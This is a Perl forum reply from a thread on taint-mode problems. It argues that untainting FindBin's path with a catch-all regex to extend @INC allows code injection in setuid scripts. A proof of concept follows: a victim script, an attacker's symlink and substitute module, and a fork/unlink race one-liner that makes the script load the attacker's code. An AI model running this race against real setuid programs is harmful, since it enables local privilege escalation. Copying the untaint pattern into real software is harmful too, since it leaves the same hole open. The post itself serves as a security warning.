You can't trust $0. The code you provided makes code injection possible.

If you're writing a server where your attackers are remote, this isn't a problem. If you're writing a setuid script, this is a problem.

Proof of concept follows.

Victim: 

$ cat ../safe/script.pl
#!/usr/bin/perl -wT

BEGIN {
   # amend @INC without taint
   use FindBin;
   my $path = $FindBin::RealBin;
   $path =~ /^(.+)$/;
   $path = $1;
   my $relative_path = 'lib';
   unshift @INC, "$path/$relative_path";
}

use Module;

$ cat ../safe/lib/Module.pm
print("All's well\n");
1;

[download]

Attacker: 

$ ln -s ../safe/script.pl

$ cat lib/Module.pm
print("Code injection!\n");
1;

[download]

Normal run: 

$ ../safe/script.pl
All's well

[download]

Run with code injection: 

$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; 
+unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01
Code injection!

[download]

Works every time!

In reply to Re^3: Taint problems by ikegami
in thread Taint problems by gayathriAthreya

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